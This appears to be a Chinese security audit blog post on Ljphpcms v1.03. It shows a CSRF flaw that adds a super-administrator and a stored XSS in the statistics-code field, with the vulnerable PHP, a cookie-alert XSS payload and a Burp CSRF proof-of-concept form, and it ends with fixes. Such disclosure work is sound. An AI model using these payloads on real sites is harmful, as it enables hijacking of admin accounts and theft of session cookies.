0x00 前言
此次审计为Ljphpcms_v1.03最新版
demo:http://demo.8cms.com/
0x01 CSRF添加超级管理员
代码分析
后台多处操纵存在可利用的CSRF,这里以添加超级管理为例。
在后台/admincp.php?c=admin&a=add
处可以添加超级管理员。
在添加管理员过程中,进验证了权限,未作其他防御CSRF措施
添加管理员
测试通过csrf添加管理员
测试之前数据库内容
测试之后,成功添加l3oog1e
用户
CSRF POC
1 | <html> |
0x02 后台存储型xss
代码分析
问题出现在后台站点设置处http://127.0.0.1/Ljphpcms_V1.03/admincp.php?c=setting&a=run
在\source\control\admincp\setting.php
中,对站点设置提交的内容进行了接收处理。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24public function action_savebase() {
$this->checkAuth('savebase');
$args = array();
$args = $this->_validBase();
$model = parent::model('setting', 'am');
// print_r($args);die;
$optionname='site_base';
$lang= parent::$lang;
if($lang!='cn'){
$optionname=$optionname."_".$_SESSION['lang'];
}
$tjcode=$args['tjcode'];
unset($args['tjcode']);
$result = $model->doSave($optionname, $args,$tjcode);
unset($model);
if (true === $result) {
$this->log('setting', '站点设置', 1);
XHandle::halt('保存成功', $this->cpfile.'?c=setting', 0);
}
else {
$this->log('setting', '站点设置', 0);
XHandle::halt('保存失败', '', 1);
}
}
代码中$args = $this->_validBase();
接受到的是全部内容
但是在下面,又通过$tjcode=$args['tjcode'];
把tjcode
内容单出提取出来了。
然后进入到$result = $model->doSave($optionname, $args,$tjcode);
跟进doSave
操作1
2
3
4
5
6
7
8
9
10
11
12
13public function doSave($option, $array,$tjcode) {
$data = serialize($array);
if($option=="site_base" || $option=="site_base_en"){
parent::loadLib('option');
XOption::updateOption1($option, $data,$tjcode);
} else {
parent::loadLib('option');
XOption::updateOption($option, $data);
}
return true;
}
看以看到这里其他内容进行了序列化处理,而tjcode
却没进行任何处理,之后便进入XOption::updateOption1($option, $data,$tjcode);
执行更新操作。
跟进updateOption1
,发现tjcode
依旧没做任何处理
盗取cookie
上面说到的tjcode
即为流量统计代码处的内容
在流量统计代码处插入xss脚本1
2poc
boogle</textarea><script>alert(document.cookie)</script>
执行更新操作,查看数据库,已被插入xss脚本
当不同用户登陆时
用户boogle
管理员
0x03 SSRF、XSS结合
后台的XSS,还是有些鸡肋,普通用户可能并不具备修改站点设置的权限。这里结合前面的csrf
poc1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1/Ljphpcms_V1.03/admincp.php?c=setting" method="POST">
<input type="hidden" name="a" value="savebase" />
<input type="hidden" name="sitename" value="�‰¯�²¾PHP�¼�¸š�½‘�«™�®¡�†�³»�»Ÿ" />
<input type="hidden" name="siteurl" value="http://localhost/ljcms/" />
<input type="hidden" name="icpcode" value="浜¬ICP�¤‡08002262�·" />
<input type="hidden" name="sitephone" value="010-81991660" />
<input type="hidden" name="siteqq" value="1665976568" />
<input type="hidden" name="siteemail" value="82993936@qq.com" />
<input type="hidden" name="siteaddress" value="�Œ—浜¬�¸‚�¸°�°�Œ虹§‘�Š€�›­�¯哄¾·�¸­�¿ƒ4�·�¥¼" />
<input type="hidden" name="longitude" value="116.304724" />
<input type="hidden" name="latitude" value="39.835519" />
<input type="hidden" name="tjcode" value="boogle</textarea><script>alert('boogle')</script>" />
<input type="hidden" name="qrcode" value="http://pic49.nipic.com/file/20140926/9422602_102539153000_2.jpg" />
<input type="hidden" name="logo" value="data/attachment/201811/01/0b4affc887ed2b08.png" />
<input type="hidden" name="logowidth" value="232" />
<input type="hidden" name="logoheight" value="60" />
<input type="hidden" name="btn_save" value="�›´�–°�¿�­˜" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
0x04 修复方式
增加防御csrf的验证1
token、referer、验证码